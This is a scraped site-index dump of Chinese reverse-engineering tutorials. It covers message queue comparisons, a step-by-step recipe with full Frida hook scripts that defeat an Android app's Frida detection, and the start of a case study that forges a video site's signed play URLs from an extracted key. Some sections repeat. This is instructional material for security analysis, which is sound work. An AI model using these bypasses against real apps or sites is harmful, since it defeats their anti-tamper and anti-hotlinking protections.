对消息投递的可靠性要求极高的金融或事务性系统。 需要使用延迟队列等高级特性的业务。 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/message_queues/:3:2","tags":["大数据","工程实践","代理池"],"title":"消息队列 (Message Queue)","uri":"/reverse_engineering/android/04-reference/engineering/message_queues/#b-rabbitmq"},{"categories":null,"collections":null,"content":"c) Redis 定位: 一个高性能的内存数据库，但其 List 和 Pub/Sub 功能使其可以作为一个轻量级的消息队列使用。 核心特点: 简单快速: 配置简单，读写性能极高（基于内存）。 功能有限: 不支持复杂路由，可靠性保证较弱（如 Pub/Sub 不保证消息必达），消息积压能力受内存限制。 适用场景: 系统规模不大，对可靠性要求不高，但对实时性要求很高的场景。 作为任务队列（如 Celery 的 Broker）。 实现简单的实时通知或聊天功能。 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/message_queues/:3:3","tags":["大数据","工程实践","代理池"],"title":"消息队列 (Message Queue)","uri":"/reverse_engineering/android/04-reference/engineering/message_queues/#c-redis"},{"categories":null,"collections":null,"content":"总结 在工程化体系中，选择哪种 MQ 取决于具体的业务需求： 追求极致的吞吐量和大数据生态兼容性，选择 Kafka。 追求灵活的路由和业务功能的丰富性，选择 RabbitMQ。 追求简单、轻量和极致的低延迟，Redis 是一个不错的备选项。 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/message_queues/:4:0","tags":["大数据","工程实践","代理池"],"title":"消息队列 (Message Queue)","uri":"/reverse_engineering/android/04-reference/engineering/message_queues/#总结"},{"categories":null,"collections":null,"content":"绕过 App 对 Frida 的检测 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Frida 完整指南 - 掌握 Frida 基本用法 Linux /proc 文件系统 - 理解 maps、status 等检测原理 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:0:0","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#绕过-app-对-frida-的检测"},{"categories":null,"collections":null,"content":"问题场景 你遇到了什么问题？ 运行 Frida 后 App 立即崩溃或闪退 App 显示\"检测到调试工具\"并拒绝运行 Hook 脚本加载后 App 无响应或进入安全模式 某些功能在 Frida 环境下被禁用 App 频繁弹窗提示\"运行环境异常\" 本配方教你：识别 Frida 检测技术、使用 Hook 绕过检测、定制 Frida 避免特征。 核心理念： 用 Frida 对抗检测 Frida - 以子之矛攻子之盾 在 App 检测之前就 Hook 检测函数 修改检测结果让它\"看不见\" Frida 或干脆隐藏 Frida 的所有特征 预计用时: 15-45 分钟（取决于检测复杂度） ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:1:0","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#问题场景"},{"categories":null,"collections":null,"content":"工具清单 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:2:0","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#工具清单"},{"categories":null,"collections":null,"content":"必需工具 Frida - 动态插桩框架 Android 设备（已 Root） 文本编辑器 - 编写绕过脚本 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:2:1","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#必需工具"},{"categories":null,"collections":null,"content":"可选工具 jadx-gui - 静态分析检测代码 IDA Pro / Ghidra - Native 层检测分析 定制版 Frida - 终极解决方案 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:2:2","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#可选工具"},{"categories":null,"collections":null,"content":"前置条件 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:3:0","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#前置条件"},{"categories":null,"collections":null,"content":"确认清单 # 1. Frida 正常运行 frida-ps -U # 2. 能正常 attach（无检测时） frida -U -f com.example.app # 3. Root 权限可用 adb shell su ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:3:1","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#确认清单"},{"categories":null,"collections":null,"content":"解决方案 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:4:0","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#解决方案"},{"categories":null,"collections":null,"content":"第 1 步：识别检测类型（5 分钟） 1.1 触发检测 运行 Frida 并观察现象： # 使用 spawn 模式启动 App frida -U -f com.example.app --no-pause # 观察输出和 App 行为 检测现象对照表： 现象 可能的检测方式 立即闪退 端口扫描、进程名检测 弹窗\"检测到 Root/调试\" 模块名检测、线程名检测 特定功能被禁用 Inline Hook 检测 随机崩溃/卡顿 多重检测组合 1.2 静态分析检测代码（可选） 用 jadx 搜索关键词： # Frida 特征 frida gum-js 27042 # 检测相关 /proc/self/maps /proc/*/cmdline pthread_create connect socket 典型检测代码示例： public static boolean isFridaDetected() { // 检查端口 if (checkPort(27042)) return true; // 检查进程 if (findProcess(\"frida-server\")) return true; // 检查模块 if (checkMaps(\"frida-agent\")) return true; return false; } ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:4:1","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#第-1-步识别检测类型5-分钟"},{"categories":null,"collections":null,"content":"第 1 步：识别检测类型（5 分钟） 1.1 触发检测 运行 Frida 并观察现象： # 使用 spawn 模式启动 App frida -U -f com.example.app --no-pause # 观察输出和 App 行为 检测现象对照表： 现象 可能的检测方式 立即闪退 端口扫描、进程名检测 弹窗\"检测到 Root/调试\" 模块名检测、线程名检测 特定功能被禁用 Inline Hook 检测 随机崩溃/卡顿 多重检测组合 1.2 静态分析检测代码（可选） 用 jadx 搜索关键词： # Frida 特征 frida gum-js 27042 # 检测相关 /proc/self/maps /proc/*/cmdline pthread_create connect socket 典型检测代码示例： public static boolean isFridaDetected() { // 检查端口 if (checkPort(27042)) return true; // 检查进程 if (findProcess(\"frida-server\")) return true; // 检查模块 if (checkMaps(\"frida-agent\")) return true; return false; } ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:4:1","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#11-触发检测"},{"categories":null,"collections":null,"content":"第 1 步：识别检测类型（5 分钟） 1.1 触发检测 运行 Frida 并观察现象： # 使用 spawn 模式启动 App frida -U -f com.example.app --no-pause # 观察输出和 App 行为 检测现象对照表： 现象 可能的检测方式 立即闪退 端口扫描、进程名检测 弹窗\"检测到 Root/调试\" 模块名检测、线程名检测 特定功能被禁用 Inline Hook 检测 随机崩溃/卡顿 多重检测组合 1.2 静态分析检测代码（可选） 用 jadx 搜索关键词： # Frida 特征 frida gum-js 27042 # 检测相关 /proc/self/maps /proc/*/cmdline pthread_create connect socket 典型检测代码示例： public static boolean isFridaDetected() { // 检查端口 if (checkPort(27042)) return true; // 检查进程 if (findProcess(\"frida-server\")) return true; // 检查模块 if (checkMaps(\"frida-agent\")) return true; return false; } ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:4:1","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#12-静态分析检测代码可选"},{"categories":null,"collections":null,"content":"第 2 步：基础绕过（10 分钟） 重命名 frida-server： # 下载 frida-server # 重命名为无害名字 mv frida-server-16.1.4-android-arm64 system_daemon # 推送到设备 adb push system_daemon /data/local/tmp/ adb shell \"chmod 755 /data/local/tmp/system_daemon\" # 使用非标准端口启动 adb shell \"/data/local/tmp/system_daemon -l 0.0.0.0:8888 \u0026\" 使用 spawn 模式（重要）： # 推荐：Spawn 模式（最早注入） frida -U -f com.example.app -l bypass.js --no-pause # 不推荐：Attach 模式（检测代码可能已运行） frida -U com.example.app -l bypass.js ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:4:2","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#第-2-步基础绕过10-分钟"},{"categories":null,"collections":null,"content":"第 3 步：通用绕过脚本 Java.perform(function () { console.log(\"\\n[Frida Anti-Detection] 已启动\\n\"); // ===================================== // 1. 绕过端口扫描检测 // ===================================== var connect = Module.findExportByName(\"libc.so\", \"connect\"); if (connect) { Interceptor.attach(connect, { onEnter: function (args) { var sockaddr = ptr(args[1]); var family = sockaddr.readU16(); if (family === 2) { // AF_INET var port = (sockaddr.add(2).readU8() \u003c\u003c 8) | sockaddr.add(3).readU8(); var ip = sockaddr.add(4).readU32(); // 检测是否在扫描 Frida 默认端口 if (port === 27042 || port === 27043) { console.log(\"[Port] 拦截端口扫描: \" + port); // 修改端口为无效端口 sockaddr.add(2).writeU8(0xff); sockaddr.add(3).writeU8(0xff); } } }, }); console.log(\"[Port] Hook connect() 完成\"); } // ===================================== // 2. 绕过 /proc/self/maps 检测 // ===================================== var fgets = Module.findExportByName(\"libc.so\", \"fgets\"); if (fgets) { Interceptor.attach(fgets, { onEnter: function (args) { this.buffer = args[0]; this.fp = args[2]; }, onLeave: function (retval) { if (retval.isNull()) return; var line = this.buffer.readCString(); if (line) { // 隐藏 Frida 相关模块 if ( line.includes(\"frida\") || line.includes(\"gum-js\") || line.includes(\"frida-agent\") ) { console.log(\"[Maps] 隐藏模块: \" + line.substring(0, 50) + \"...\"); // 替换为空行 this.buffer.writeUtf8String(\"\\n\"); } } }, }); console.log(\"[Maps] Hook fgets() 完成\"); } // ===================================== // 3. 绕过 strstr 字符串检测 // ===================================== var strstr = Module.findExportByName(\"libc.so\", \"strstr\"); if (strstr) { Interceptor.attach(strstr, { onEnter: function (args) { this.haystack = args[0].readCString(); this.needle = args[1].readCString(); if ( this.needle \u0026\u0026 (this.needle.includes(\"frida\") || this.needle.includes(\"gum-js\") || this.needle === \"frida-agent\" || this.needle === \"frida-server\") ) { this.shouldBypass = true; } }, onLeave: function (retval) { if (this.shouldBypass) { console.log(\"[Strstr] 隐藏字符串: \" + this.needle); retval.replace(ptr(0)); // 返回 NULL（未找到） } }, }); console.log(\"[Strstr] Hook strstr() 完成\"); } // ===================================== // 4. 绕过 Java 层检测函数 // ===================================== setTimeout(function () { // 搜索常见检测函数名 var detectNames = [ \"isFridaDetected\", \"checkFrida\", \"detectDebugger\", \"isHooked\", \"checkRoot\", ]; Java.enumerateLoadedClasses({ onMatch: function (className) { try { var clazz = Java.use(className); detectNames.forEach(function (methodName) { if (clazz[methodName]) { console.log( \"[Java] 找到检测函数: \" + className + \".\" + methodName ); clazz[methodName].implementation = function () { console.log(\"[Java] 拦截调用: \" + className + \".\" + methodName); return false; // 返回\"未检测到\" }; } }); } catch (e) {} }, onComplete: function () { console.log(\"[Java] 类枚举完成\"); }, }); }, 500); // ===================================== // 5. 绕过线程名检测 // ===================================== var pthread_setname_np = Module.findExportByName( \"libc.so\", \"pthread_setname_np\" ); if (pthread_setname_np) { Interceptor.attach(pthread_setname_np, { onEnter: function (args) { var threadName = args[1].readCString(); if ( threadName \u0026\u0026 (threadName.includes(\"gum-js\") || threadName.includes(\"gmain\") || threadName.includes(\"pool-\")) ) { console.log(\"[Thread] 修改线程名: \" + threadName + \" → normal\"); args[1].writeUtf8String(\"normal\"); } }, }); console.log(\"[Thread] Hook pthread_setname_np() 完成\"); } console.log(\"\\n[Frida Anti-Detection] 所有 Hook 已就绪\\n\"); }); 预期输出： [Port] Hook connect() 完成 [Maps] Hook fgets() 完成 [Strstr] Hook strstr() 完成 [Thread] Hook pthread_setname_np() 完成 [Java] 类枚举完成 [Java] 找到检测函数: com.example.SecurityCheck.isFridaDetected [Frida Anti-Detection] 所有 Hook 已就绪 [Port] 拦截端口扫描: 27042 [Strstr] 隐藏字符串: frida-agent [Java] 拦截调用: com.example.SecurityCheck.isFridaDetected ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:4:3","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#第-3-步通用绕过脚本"},{"categories":null,"collections":null,"content":"第 4 步：针对性绕过 如果你找到了检测函数（从第 1 步）： Java.perform(function () { var SecurityCheck = Java.use(\"com.example.app.SecurityCheck\"); // Hook 检测函数 SecurityCheck.isFridaDetected.implementation = function () { console.log(\"Bypass isFridaDetected()\"); return false; // 始终返回\"未检测到\" }; // 拦截其他检测相关函数 SecurityCheck.checkPort.implementation = function (port) { console.log(\"Bypass checkPort(\" + port + \")\"); return false; }; }); ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:4:4","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#第-4-步针对性绕过"},{"categories":null,"collections":null,"content":"第 5 步：定制 Frida（终极方案） 5.1 修改源码 克隆 Frida： git clone --recurse-submodules https://github.com/frida/frida.git cd frida 修改特征字符串： # 替换模块名 find . -type f -exec sed -i 's/frida-agent/system-agent/g' {} + find . -type f -exec sed -i 's/frida-server/system-daemon/g' {} + # 替换线程名 find . -type f -exec sed -i 's/gum-js-loop/normal-thread/g' {} + find . -type f -exec sed -i 's/gmain/worker/g' {} + 编译： make ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:4:5","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#第-5-步定制-frida终极方案"},{"categories":null,"collections":null,"content":"第 5 步：定制 Frida（终极方案） 5.1 修改源码 克隆 Frida： git clone --recurse-submodules https://github.com/frida/frida.git cd frida 修改特征字符串： # 替换模块名 find . -type f -exec sed -i 's/frida-agent/system-agent/g' {} + find . -type f -exec sed -i 's/frida-server/system-daemon/g' {} + # 替换线程名 find . -type f -exec sed -i 's/gum-js-loop/normal-thread/g' {} + find . -type f -exec sed -i 's/gmain/worker/g' {} + 编译： make ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:4:5","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#51-修改源码"},{"categories":null,"collections":null,"content":"原理解析 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:5:0","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#原理解析"},{"categories":null,"collections":null,"content":"Frida 检测点分布 检测点分布： ├── 1. 网络层 │ ├── 默认端口: 27042, 27043 │ └── D-Bus 协议特征 ├── 2. 进程层 │ ├── 进程名: frida-server │ └── 命令行参数包含 \"frida\" ├── 3. 内存层 │ ├── 模块名: frida-agent.so, frida-gadget.so │ ├── 线程名: gum-js-loop, gmain, pool-* │ └── 函数 Hook: 修改系统函数字节码 └── 4. 行为层 └── D-Bus 消息、异常系统调用序列 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:5:1","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#frida-检测点分布"},{"categories":null,"collections":null,"content":"绕过策略对照表 检测方式 绕过策略 进程名检测 重命名 frida-server /proc/self/maps Hook fgets() 过滤输出 字符串检测 Hook strstr() 返回 NULL 线程名检测 Hook pthread_setname_np() Inline Hook 检测 Hook 检测函数本身 多重组合检测 定制 Frida 源码 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:5:2","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#绕过策略对照表"},{"categories":null,"collections":null,"content":"Hook 时机很重要 App 启动时序： ↓ [0.5s] App 静态初始化代码运行 ↓ [1s] App onCreate() 开始 ↓ [1.5s] ⚠️ 反调试检测通常在此运行 ↓ [2s] ❌ Attach 模式：Frida 在此时才注入（太晚） ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:5:3","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#hook-时机很重要"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:6:0","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#常见问题"},{"categories":null,"collections":null,"content":"问题 1: 绕过脚本不生效 症状：Hook 脚本运行了，但 App 仍然检测到 Frida 可能原因： Hook 时机太晚 # 正确：--no-pause 立即运行 frida -U -f com.example.app -l bypass.js --no-pause # 错误：会暂停等待手动恢复 frida -U -f com.example.app -l bypass.js Native 层检测未覆盖 使用 frida-gadget 而非 frida-server（更早注入） 存在未覆盖的检测点 使用 jadx 分析完整的检测逻辑 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:6:1","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#问题-1-绕过脚本不生效"},{"categories":null,"collections":null,"content":"问题 2: Hook 后 App 崩溃 症状：加载 Hook 脚本后 App 立即崩溃 检查： Hook 的函数签名错误 // 检查重载 Java.use(\"ClassName\").methodName.overloads.forEach(function (o) { console.log(o); }); 返回值类型不匹配 // 错误 SomeClass.returnsInt.implementation = function () { return \"string\"; // 类型错误！ }; // 正确 SomeClass.returnsInt.implementation = function () { return 0; }; Hook 影响了正常功能 添加条件判断，只 Hook 特定情况 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:6:2","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#问题-2-hook-后-app-崩溃"},{"categories":null,"collections":null,"content":"问题 3: 某些检测绕不过去 症状：尝试了所有方法，仍有检测未绕过 高级对策： 使用 frida-gadget（嵌入式） # 解包 APK apktool d app.apk # 将 frida-gadget.so 添加到 lib/ # 修改 AndroidManifest.xml 和 smali 代码加载 gadget # 参考：https://frida.re/docs/gadget/ # 重新打包 apktool b app -o app_patched.apk 使用预编译的定制版 社区项目：https://github.com/hluwa/strongR-frida-android 已重命名所有特征字符串 使用 Docker 编译环境 docker run --rm -v $(pwd):/work frida/ci ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:6:3","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#问题-3-某些检测绕不过去"},{"categories":null,"collections":null,"content":"延伸阅读 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:7:0","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#延伸阅读"},{"categories":null,"collections":null,"content":"相关配方 Root 检测绕过 - 通常与 Frida 检测一起出现 SSL Pinning 绕过 - 可能也有反 Frida 模拟器检测绕过 - 多重检测组合 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:7:1","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#相关配方"},{"categories":null,"collections":null,"content":"工具深入 Frida 完整指南 Frida 内部原理 - 理解检测原理 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:7:2","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#工具深入"},{"categories":null,"collections":null,"content":"案例分析 💡 思路一句话: 先让 App 崩溃/闪退时用 logcat 抓日志确定检测类型 → 然后针对性 hook 检测函数（端口扫描/maps 检测/so 名称检测）→ 验证绕过后再进行正式分析。 反分析技术案例 社交媒体风控 - 高级检测对抗 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:7:3","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#案例分析"},{"categories":null,"collections":null,"content":"进阶资源 strongR-frida: https://github.com/hluwa/strongR-frida-android frida-gadget 文档: https://frida.re/docs/gadget/ 编译 Frida: https://frida.re/docs/building/ ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:7:4","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#进阶资源"},{"categories":null,"collections":null,"content":"快速参考 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:8:0","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#快速参考"},{"categories":null,"collections":null,"content":"一键绕过脚本 下载通用绕过脚本： # 使用社区维护的绕过脚本 curl -O https://raw.githubusercontent.com/0xdea/frida-scripts/master/raptor_frida_android_bypass.js # 运行 frida -U -f com.example.app -l raptor_frida_android_bypass.js --no-pause ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:8:1","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#一键绕过脚本"},{"categories":null,"collections":null,"content":"检测点速查表 检测类型 检测位置 绕过方法 进程名 /proc/*/cmdline 重命名 + Hook fopen() 模块名 /proc/self/maps Hook fgets() 过滤 字符串 strstr() Hook strstr() 线程名 /proc/self/task/*/comm Hook pthread_setname_np() Java 检测 isFridaDetected() Hook 检测函数 ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:8:2","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#检测点速查表"},{"categories":null,"collections":null,"content":"常用命令 # 非标准端口运行 frida-server adb shell \"/data/local/tmp/frida -l 0.0.0.0:8888 \u0026\" # 连接到非标准端口 frida -H 127.0.0.1:8888 -f com.example.app # Spawn 模式（重要） frida -U -f com.example.app -l bypass.js --no-pause # 列出所有模块（检查是否有 frida-agent） frida -U -f com.example.app -e 'Process.enumerateModules()' # 列出所有线程（检查线程名） frida -U -f com.example.app -e 'Process.enumerateThreads()' ","date":"2025-04-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/:8:3","tags":["Native层","浏览器指纹","Docker","签名验证","SSL Pinning","Frida"],"title":"绕过 App 对 Frida 的检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/frida_anti_debugging/#常用命令"},{"categories":null,"collections":null,"content":"视频网站逆向 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:0:0","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#视频网站逆向"},{"categories":null,"collections":null,"content":"概述 视频网站是最具挑战性的逆向工程目标之一。本文通过 5 个真实案例，深入讲解视频平台的核心防护机制及其逆向方法。 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:1:0","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#概述"},{"categories":null,"collections":null,"content":"案例 1: 视频 URL 解密与防盗链绕过 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:2:0","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#案例-1-视频-url-解密与防盗链绕过"},{"categories":null,"collections":null,"content":"背景 某视频平台使用加密 URL 和时间戳签名来防止视频盗链。视频播放时，客户端需要动态生成带签名的播放地址。 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:2:1","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#背景"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 网络请求: GET /video/play?vid=abc123\u0026t=1702800000\u0026sign=e3b0c44298fc Host: video.example.com Referer: https://video.example.com/watch/abc123 响应: 2. JavaScript 分析 在 player.js 中找到签名生成逻辑: function generateSign(vid, timestamp) { const key = \"secret_key_2024\"; const str = `${vid}|${timestamp}|${key}`; return md5(str).substr(0, 12); } function getPlayUrl(vid) { const timestamp = Math.floor(Date.now() / 1000); const sign = generateSign(vid, timestamp); return fetch(`/video/play?vid=${vid}\u0026t=${timestamp}\u0026sign=${sign}`, { headers: { Referer: \"https://video.example.com/watch/\" + vid, }, }).then((r) =\u003e r.json()); } 3. 密钥提取 通过搜索 secret_key 关键词，在混淆代码中定位: // 混淆后 var _0x1a2b = [ \"s\", \"e\", \"c\", \"r\", \"e\", \"t\", \"_\", \"k\", \"e\", \"y\", \"_\", \"2\", \"0\", \"2\", \"4\", ]; var key = _0x1a2b.join(\"\"); ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:2:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#逆向步骤"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 网络请求: GET /video/play?vid=abc123\u0026t=1702800000\u0026sign=e3b0c44298fc Host: video.example.com Referer: https://video.example.com/watch/abc123 响应: 2. JavaScript 分析 在 player.js 中找到签名生成逻辑: function generateSign(vid, timestamp) { const key = \"secret_key_2024\"; const str = `${vid}|${timestamp}|${key}`; return md5(str).substr(0, 12); } function getPlayUrl(vid) { const timestamp = Math.floor(Date.now() / 1000); const sign = generateSign(vid, timestamp); return fetch(`/video/play?vid=${vid}\u0026t=${timestamp}\u0026sign=${sign}`, { headers: { Referer: \"https://video.example.com/watch/\" + vid, }, }).then((r) =\u003e r.json()); } 3. 密钥提取 通过搜索 secret_key 关键词，在混淆代码中定位: // 混淆后 var _0x1a2b = [ \"s\", \"e\", \"c\", \"r\", \"e\", \"t\", \"_\", \"k\", \"e\", \"y\", \"_\", \"2\", \"0\", \"2\", \"4\", ]; var key = _0x1a2b.join(\"\"); 